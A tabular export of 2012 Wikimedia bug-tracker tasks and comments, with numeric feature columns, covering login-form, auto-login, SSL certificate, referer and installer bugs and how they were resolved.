Maybe even use JS to make it hidden by default in a drop down or something..",,,1352945216,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,True,,,-41,True,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9,"(In reply to comment #2)
QUOTE
QUOTE

Maybe even use JS to make it hidden by default in a drop down or something.."
200095,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","Oh, of course it's visible since you /might/ have 2-factor turned on.  So that should be explained on the form somehow...",,,1352945158,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,14.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.607142857142857,0.9642857142857143,"Oh, of course it's visible since you /might/ have 2-factor turned on.  So that should be explained on the form somehow..."
200089,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","Token is used for 2-factor auth.  I'm surprised that the field present if you don't have 2-factor enabled, but I suspect we're on the verge of turning it on for everyone...",,,1352945049,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0.0,2.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,7.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,12.0,17.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.380952380952381,0.8333333333333334,"Token is used for 2-factor auth.  I'm surprised that the field present if you don't have 2-factor enabled, but I suspect we're on the verge of turning it on for everyone..."
43744,load video via http for thumb extraction,"**Author:** `jgerber`

**Description:**
Creating thumbnails from videos on backends without POSIX access is expensive since a local copy of the video has to be created in /tmp first.

TMH should create thumbs from the public http url and seek using http range requests instead.

avconv supports http so that part should be possible.

One open question is if the public url is the best one or if we can use a swift url instead.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1351966440,1352893292.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s3usb6geemsh3zoiuy7d,task_description,resolved,True,c2,1,False,False,True,-43,True,0.0,0.0,0.0,0.5,0.0,7.0,3.5,0.0,0.0,2.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,2.5,7.0,0.0,0.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,1.5,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,4.0,6.0,3.5,1.5,5.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,3.851178451178451,0.7424242424242424,"**Author:** CODE

**Description:**
Creating thumbnails from videos on backends without POSIX access is expensive since a local copy of the video has to be created in /tmp first.

TMH should create thumbs from the public http url and seek using http range requests instead.

avconv supports http so that part should be possible.

One open question is if the public url is the best one or if we can use a swift url instead.

--------------------------
**Version**: master
**Severity**: normal"
203236,load video via http for thumb extraction,"**jgerber** wrote:

TMH part https://gerrit.wikimedia.org/r/#/c/31666/
depends on core change https://gerrit.wikimedia.org/r/#/c/32102/",,,1352291434,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s3usb6geemsh3zoiuy7d,task_subcomment,,True,c2,1,False,,,-42,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0588235294117645,0.7647058823529411,"**jgerber** wrote:

TMH part URL
depends on core change URL"
43710,Login and settings redirect URL doesn't change on a dynamic page load,"In beta click a link on a page
The page loads dynamically
CLick the menu button
Click login/settings
Click back - get taken to first page

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1351889940,1354575048.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-a3yly4pv6e7owuku4u6j,task_description,resolved,True,c2,1,False,False,True,-43,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.76,0.66,"In beta click a link on a page
The page loads dynamically
CLick the menu button
Click login/settings
Click back - get taken to first page

--------------------------
**Version**: unspecified
**Severity**: normal"
200700,Login and settings redirect URL doesn't change on a dynamic page load,https://gerrit.wikimedia.org/r/36314,,,1354316739,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a3yly4pv6e7owuku4u6j,task_subcomment,,True,c2,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
43486,Invalid SSL certificate for www.wikidata.org,"https://www.wikidata.org/



""You attempted to reach www.wikidata.org, but instead you actually reached a server identifying itself as *.wikimedia.org.""

--------------------------
**Version**: unspecified
**Severity**: major",Needs Triage,90.0,1351512000,1351515542.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-hk53c63b3gefziwydp3t,task_description,resolved,True,c2,1,True,False,True,-44,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,10.0,0.0,5.0,0.0,7.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.536585365853658,0.7317073170731707,"URL



""You attempted to reach www.wikidata.org, but instead you actually reached a server identifying itself as *.wikimedia.org.""

--------------------------
**Version**: unspecified
**Severity**: major"
187241,Invalid SSL certificate for www.wikidata.org,"

*** This bug has been marked as a duplicate of bug 41437 ***",,,1351515542,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hk53c63b3gefziwydp3t,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 41437 ***"
43429,Wikidata auto-login not working properly,"Screenshot of the English Wikipedia's post-login screen showing a broken Wikidata icon

After successfully logging in to the English Wikipedia at <https://en.wikipedia.org/w/index.php?title=Special:UserLogin>, I'm presented with a broken "".wikidata.org"" icon. It looks like it's referencing <https://www.wikidata.org/wiki/Special:AutoLogin?token=aa5a4a580a35eb19530cb5759b0cff48>, which doesn't work properly. Screenshot attached.

--------------------------
**Version**: wmf-deployment
**Severity**: normal

**Attached**: {F9634}",Needs Triage,90.0,1351272960,1351284651.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hrnkil2efzl4wpiju7ec,task_description,resolved,True,c2,1,True,False,True,-44,True,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,2.0,4.047058823529412,0.6470588235294118,"Screenshot of the English Wikipedia's post-login screen showing a broken Wikidata icon

After successfully logging in to the English Wikipedia at <URL I'm presented with a broken "".wikidata.org"" icon. It looks like it's referencing <URL which doesn't work properly. Screenshot attached.

--------------------------
**Version**: wmf-deployment
**Severity**: normal

**Attached**: {F9634}"
183384,Wikidata auto-login not working properly,Closed older resolved bugs as verified.,,,1377183274,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.857142857142857,1.0,Closed older resolved bugs as verified.
183377,Wikidata auto-login not working properly,"Gives warning of bad SSL on each wmf wiki after login and logout over https, please fix bug 41437 asap",,,1351289537,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,False,,,-44,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9523809523809526,1.0,"Gives warning of bad SSL on each wmf wiki after login and logout over https, please fix bug 41437 asap"
183370,Wikidata auto-login not working properly,Merged and pushed,,,1351284651,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Merged and pushed
183364,Wikidata auto-login not working properly,https://gerrit.wikimedia.org/r/#/c/30202/,,,1351278444,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
43418,User Login Redirect,"**Author:** `savannah.cozette`

**Description:**
Hi,

I've got a problem after user login my mediawiki.

We recently change our server and since I have a problem with the page on which users are redirected after login :
it redirects towards Home page but without the www. before adress so there is a 404 error.

I've tried to change the page with $wgRedirectOnLogin either in LocalSettings.php or in DefaultSettings.php and that does'nt works.

Moreover I tried to enter directly the adress of Home page as an external link, with all possible syntax ([http://www.], [[http://www.]], and even 'http://www.' or ""http://www."") but nothing is working.

Can anybody help me?

--------------------------
**Version**: 1.16.x
**Severity**: normal",Needs Triage,90.0,1351243800,1351263071.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qwj5eskvdtwwpao2lyn5,task_description,invalid,True,c2,1,False,False,True,-44,True,0.5,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.5,4.5,0.0,2.5,9.5,1.5,1.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.5,12.5,1.0,5.0,6.0,0.0,0.0,0.0,0.0,2.0,0.5,2.0,0.0,5.0,9.5,3.5,0.5,1.5,0.0,5.0,0.0,0.5,2.0,0.5,0.5,0.0,0.0,1.5,3.788711288711289,0.7033799533799534,"**Author:** CODE

**Description:**
Hi,

I've got a problem after user login my mediawiki.

We recently change our server and since I have a problem with the page on which users are redirected after login :
it redirects towards Home page but without the www. before adress so there is a 404 error.

I've tried to change the page with $wgRedirectOnLogin either in LocalSettings.php or in DefaultSettings.php and that does'nt works.

Moreover I tried to enter directly the adress of Home page as an external link, with all possible syntax ([URL [[URL and even 'URL or ""URL but nothing is working.

Can anybody help me?

--------------------------
**Version**: 1.16.x
**Severity**: normal"
182825,User Login Redirect,"Bugzilla is not a place for support, therefore resolved as invalid.

MediaWiki 1.16 is EOL since August 2011, you won't get support for it anymore.

If your web site does not resolve correctly without www., that is an issue with your website. (Though obviously MediaWiki probably shouldn't be changing the domain...)

$wgRedirectOnLogin takes a page title (E.g. 'Main Page' or 'Special:Version') or null, not a URL. Once you've upgraded, I suggest you look into $wgServer.",,,1351263071,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qwj5eskvdtwwpao2lyn5,task_subcomment,,True,c2,1,True,,,-44,True,0.0,0.0,0.0,0.0,3.5,1.5,1.0,0.0,1.0,0.5,2.0,6.5,0.0,0.0,0.0,1.0,0.0,7.5,6.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,4.0,2.5,12.0,3.0,2.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,6.0,8.5,0.0,4.0,0.0,5.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.8187590711175616,0.7906386066763426,"Bugzilla is not a place for support, therefore resolved as invalid.

MediaWiki 1.16 is EOL since August 2011, you won't get support for it anymore.

If your web site does not resolve correctly without www., that is an issue with your website. (Though obviously MediaWiki probably shouldn't be changing the domain...)

$wgRedirectOnLogin takes a page title (E.g. 'Main Page' or 'Special:Version') or null, not a URL. Once you've upgraded, I suggest you look into $wgServer."
43282,MobileFrontend overrides Special:Userlogin template on desktop view,"MobileFrontend appears to be overriding the Special:Userlogin template on the desktop view as long as the extension is enabled.

It may not be checking whether it's actually in mobile mode...

--------------------------
**Version**: unspecified
**Severity**: blocker",Needs Triage,90.0,1350943680,1350946140.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-h6ek66uukcqc2l3rtcgl,task_description,resolved,True,c2,1,True,False,True,-45,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.37037037037037,0.7222222222222222,"MobileFrontend appears to be overriding the Special:Userlogin template on the desktop view as long as the extension is enabled.

It may not be checking whether it's actually in mobile mode...

--------------------------
**Version**: unspecified
**Severity**: blocker"
200910,MobileFrontend overrides Special:Userlogin template on desktop view,Fixed https://gerrit.wikimedia.org/r/#/c/29445/,,,1350946140,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-h6ek66uukcqc2l3rtcgl,task_subcomment,,True,c2,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Fixed URL
43265,HTTP referer is sent from secure connection,"**Author:** `M8R-udfkkf`

**Description:**
When on a secure wiki page (SSL), such as 
http://en.wikipedia.org/wiki/File:Vulpicida_canadensis_44260.jpg

and you click a non-secure (http not https) link, such as
http://www.mushroomobserver.org/image/show_image/44260

the referer is sent. This is against RFC 2616. No referer should be sent.

Per RFC 2616 § 15.1.3 (http://tools.ietf.org/html/rfc2616#section-15.1.3):

   Clients SHOULD NOT include a Referer header field in a (non-secure)
   HTTP request if the referring page was transferred with a secure
   protocol.

General http referer info: http://en.wikipedia.org/wiki/HTTP_referer

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1350872700,1350873162.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-temqly5nrkewnlxk4zup,task_description,invalid,True,c2,1,False,False,True,-45,True,0.0,0.0,0.0,2.0,1.5,8.5,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,14.5,1.5,0.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,0.0,0.5,5.0,7.0,0.0,0.0,0.0,0.5,0.0,0.5,3.5,0.0,1.0,0.0,0.0,0.0,3.453125,0.6796875,"**Author:** CODE

**Description:**
When on a secure wiki page (SSL), such as 
URL

and you click a non-secure (http not https) link, such as
URL

the referer is sent. This is against RFC 2616. No referer should be sent.

Per RFC 2616 § 15.1.3 (URL

   Clients SHOULD NOT include a Referer header field in a (non-secure)
   HTTP request if the referring page was transferred with a secure
   protocol.

General http referer info: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
199742,HTTP referer is sent from secure connection,"**M8R-udfkkf** wrote:

Seems it doesn't send...my mistake.",,,1350873162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-temqly5nrkewnlxk4zup,task_subcomment,,True,c2,1,False,,,-45,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,16.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.789473684210526,0.8421052631578947,"**M8R-udfkkf** wrote:

Seems it doesn't send...my mistake."
43146,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"**Author:** `andrew`

**Description:**
Attempting to install using Oracle as the backend.  Fresh install of 1.19.2.  PHP with OCI8 is working fine in other apps.

Going through the MW installer, after submitting a configuration on the ""Connect to database"" page (specifying the Database TNS, Database username, etc.), clicking Continue results in an HTTP 500.

In my web server's error log I see:

PHP Fatal error:  Call to undefined function mb_check_encoding() in /var/www/wiki.example.org/includes/db/DatabaseOracle.php on line 307, referer: http://wiki.example.org/mw-config/index.php

--------------------------
**Version**: 1.19.2
**Severity**: critical
**OS**: Linux",Needs Triage,90.0,1350531600,1355316743.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_description,resolved,True,c2,1,False,False,True,-45,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,1.5,0.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,15.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.5,8.0,11.5,0.0,1.0,0.0,1.5,0.0,0.0,1.0,0.0,3.5,0.0,0.0,1.0,3.7567567567567566,0.6824324324324325,"**Author:** CODE

**Description:**
Attempting to install using Oracle as the backend.  Fresh install of 1.19.2.  PHP with OCI8 is working fine in other apps.

Going through the MW installer, after submitting a configuration on the ""Connect to database"" page (specifying the Database TNS, Database username, etc.), clicking Continue results in an HTTP 500.

In my web server's error log I see:

PHP Fatal error:  Call to undefined function mb_check_encoding() in /var/www/wiki.example.org/includes/db/DatabaseOracle.php on line 307, referer: URL

--------------------------
**Version**: 1.19.2
**Severity**: critical
**OS**: Linux"
